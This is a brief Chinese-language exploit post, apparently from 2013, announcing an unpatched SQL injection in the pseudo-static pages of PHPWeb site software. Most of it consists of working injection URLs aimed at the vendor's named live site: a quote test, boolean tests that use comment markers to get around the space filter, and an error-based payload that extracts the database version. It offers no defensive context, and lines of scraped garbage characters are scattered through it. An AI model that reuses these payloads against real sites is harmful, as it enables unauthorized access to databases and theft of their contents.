phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入
' r/ q0 @; S. t% O" x3 s2 B- I
. `5 j/ s" I, k% |主站：http://phpweb.net/
" \. K8 \  W" @0 Q$ S加’检测：

4 B" ?3 Z" P9 C/ O. ~( J/ M! Uhttp://www.phpweb.net/down/html/?772′.html
7 P' p% H$ d" F: O( ?7 O7 X
出错
! O7 {7 f- r# y存在注入。
! T! O# Z& D# V2 a# u. t, j不能用空格，只能用/*罗
4 d/ O7 k) G, ]7 x1 Y9 b" Ohttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

* C* x  E' C* o/ S% j! Vhttp://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
爆数据库版本：
0 h" T/ X" _' f. e+ f- v' h- r
?
1
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
! a/ c' _" `2 o; M更新日期: 2013-01-03 13:39:50        
  F% v$ y  P+ J0 v